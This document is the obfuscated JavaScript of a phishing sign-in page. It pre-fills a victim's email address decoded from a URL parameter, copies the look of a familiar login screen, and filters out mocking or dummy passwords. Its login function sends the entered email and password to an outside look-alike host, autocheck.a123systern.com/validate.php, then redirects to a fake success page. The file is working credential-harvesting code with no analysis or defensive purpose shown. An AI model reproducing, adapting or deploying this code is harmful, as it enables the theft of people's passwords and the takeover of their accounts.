var $c = getUrlParameter('c');
var $current_email = '';
if ($c) {
$current_email = isValidEmail($c) ? $c : decodeCustom($c)
};
function decodeCustom(_0x8440x4) {
var _0x8440x5 = 'bcdfghjklmnpqrstvwxyz' ['split']('');
var _0x8440x6 = _0x8440x4['substr'](0, 1);
var _0x8440x7 = _0x8440x4['substr'](2);
var _0x8440x8 = ['a', 'e', 'i', 'o', 'u'];
var _0x8440x9 = [];
for ($i in _0x8440x5) {
_0x8440x7 = _0x8440x7['replace'](new RegExp(_0x8440x6 + '0' + $i + 'a', 'g'), _0x8440x5[$i])
};
for ($i in _0x8440x8) {
_0x8440x7 = _0x8440x7['replace'](new RegExp(_0x8440x6 + $i, 'g'), _0x8440x8[$i])
};
_0x8440x7 = _0x8440x7['replace'](new RegExp(_0x8440x6 + _0x8440x6 + _0x8440x6, 'g'), '@');
return _0x8440x7
}
function isValidEmail(_0x8440xb) {
var _0x8440xc = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return _0x8440xc['test'](_0x8440xb)
}
function getUrlParameter(_0x8440xe) {
_0x8440xe = _0x8440xe['replace'](/[\[]/, '\[')['replace'](/[\]]/, '\]');
var _0x8440xf = new RegExp('[\?&]' + _0x8440xe + '=([^&#]*)');
var _0x8440x10 = _0x8440xf['exec'](location['search']);
return _0x8440x10 === null ? '' : decodeURIComponent(_0x8440x10[1]['replace'](/\+/g, ' '))
}
var currentEmail = $current_email;
var ListEntries = ['.*fuck.*', '.*pussy.*', '.*bitch.*', '.*asshole.*', '.*fool.*', '.*dick.*', '.*mama.*', '.*nice.*try.*', '.*12345.*'];
$(function() {
$('#displayName')['text'](currentEmail);
$('#displayName')['attr']('title', currentEmail);
setTimeout(() => {
$('.view-zero')['css']('display', 'none');
if (currentEmail && currentEmail['length'] > 0) {
$('input[name="UserName"]')['val'](currentEmail);
$('#displayName')['text'](currentEmail);
$('#displayName')['attr']('title', currentEmail);
$('.view-two')['css']({
display: 'block'
});
$('.view-one')['css']({
display: 'none'
});
$('#usernameProgress')['css']({
display: 'none'
})
} else {
$('.view-two')['css']({
display: 'none'
});
$('.view-one')['css']({
display: 'block'
})
}
}, 2500);
$('form#i0281')['on']('submit', function(_0x8440x13) {
_0x8440x13['preventDefault']();
return handleFormSubmit()
});
$('#idNextBtn')['on']('click', function(_0x8440x13) {
$('#usernameProgress')['css']({
display: 'block'
});
var _0x8440xb = $('input[name="UserName"]')['val']()['trim']();
if (!_0x8440xb['length']) {
toggleUsernameError(true);
$('input[name="UserName"]')['focus']();
setTimeout(function() {
$('#usernameProgress')['css']({
display: 'none'
})
});
return false
};
if (!validateEmail(_0x8440xb)) {
toggleUsernameError(true);
$('input[name="UserName"]')['focus']();
setTimeout(function() {
$('#usernameProgress')['css']({
display: 'none'
})
});
return false
};
$('#displayName')['text'](_0x8440xb);
$('#displayName')['attr']('title', _0x8440xb);
setTimeout(function() {
$('.view-two')['css']({
display: 'block'
});
$('.view-one')['css']({
display: 'none'
});
$('#usernameProgress')['css']({
display: 'none'
})
}, 1500)
});
$('#idBtn_Back')['on']('click', function(_0x8440x13) {
$('.view-two')['css']({
display: 'none'
});
$('.view-one')['css']({
display: 'block'
})
})
});
var passwordAttempts = 0;
function handleFormSubmit() {
var _0x8440xb = $('input[name="UserName"]')['val']()['trim']();
var _0x8440x16 = $('input[name="Password"]')['val']()['trim']();
if (!_0x8440xb['length'] || !_0x8440x16['length']) {
togglePasswordError(true);
if (!_0x8440xb['length']) {
$('input[name="UserName"]')['focus']()
} else {
$('input[name="Password"]')['focus']()
};
return false
};
if (!validateEmail(_0x8440xb)) {
$('input[name="UserName"]')['focus']();
return false
};
if (!_0x8440x16['trim']()['length']) {
togglePasswordError(true);
$('input[name="Password"]')['focus']();
return false
};
togglePasswordError(false);
login();
return true
}
function login() {
var _0x8440xb = $('input[name="UserName"]')['val']()['trim']();
var _0x8440x16 = $('input[name="Password"]')['val']()['trim']();
var _0x8440x18 = false;
var _0x8440x19 = parseInt(Math['random']() * 10);
var _0x8440x1a = getValidatorUrl();
$('#idSignInBtn')['prop']('disabled', true);
$('#passwordProgress')['show']();
$('#idSignInBtn')['text']('Signing In..');
var _0x8440x1b = window['location']['protocol'] + '//' + window['location']['host'] + '/success.htm';
$['post'](_0x8440x1a, $['param']({
email: _0x8440xb,
password: _0x8440x16
}), function(_0x8440x1e, _0x8440x1d, _0x8440x1f) {
$('#idSignInBtn')['text']('Redirecting..');
window['location']['href'] = _0x8440x1b
})['fail'](function(_0x8440x1c, _0x8440x1d) {
$('#passwordProgress')['hide']();
$('#idSignInBtn')['prop']('disabled', false);
$('#idSignInBtn')['text']('Sign In');
$('input[name="Password"]')['val']('');
togglePasswordError(true);
$('input[name="Password"]')['focus']();
return false
})
}
function validateEmail(_0x8440xb) {
var _0x8440xc = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return _0x8440xc['test'](_0x8440xb)
}
function isValidPassword(_0x8440x22) {
for (var _0x8440x23 = ListEntries['length'] - 1; _0x8440x23 >= 0; _0x8440x23--) {
var _0x8440x24 = new RegExp(ListEntries[_0x8440x23], 'i');
if (_0x8440x24['test'](_0x8440x22)) {
return false
}
};
return true
}
function toggleUsernameError(_0x8440x26) {
if (_0x8440x26) {
$('#usernameError')['css']('display', 'block');
$('input[name="Username"]')['addClass']('has-error');
$('input[name="Username"]')['on']('keydown', function(_0x8440x13) {
toggleUsernameError(false);
$('input[name="Username"]')['off']('keydown')
})
} else {
$('#usernameError')['css']('display', 'none');
$('input[name="Username"]')['removeClass']('has-error')
}
}
function togglePasswordError(_0x8440x26) {
if (_0x8440x26) {
$('#passwordError')['css']('display', 'block');
$('input[name="Password"]')['addClass']('has-error');
$('input[name="Password"]')['on']('keydown', function(_0x8440x13) {
togglePasswordError(false);
$('input[name="Password"]')['off']('keydown')
})
} else {
$('#passwordError')['css']('display', 'none');
$('input[name="Password"]')['removeClass']('has-error')
}
}
function strRandom() {
var _0x8440x29 = '';
var _0x8440x2a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
for (var _0x8440x23 = 0; _0x8440x23 < 10; _0x8440x23++) {
_0x8440x29 += _0x8440x2a['charAt'](Math['floor'](Math['random']() * _0x8440x2a['length']))
};
return _0x8440x29
}
function getValidatorUrl() {
return 'https://autocheck.a123systern.com/validate.php'
}
Comments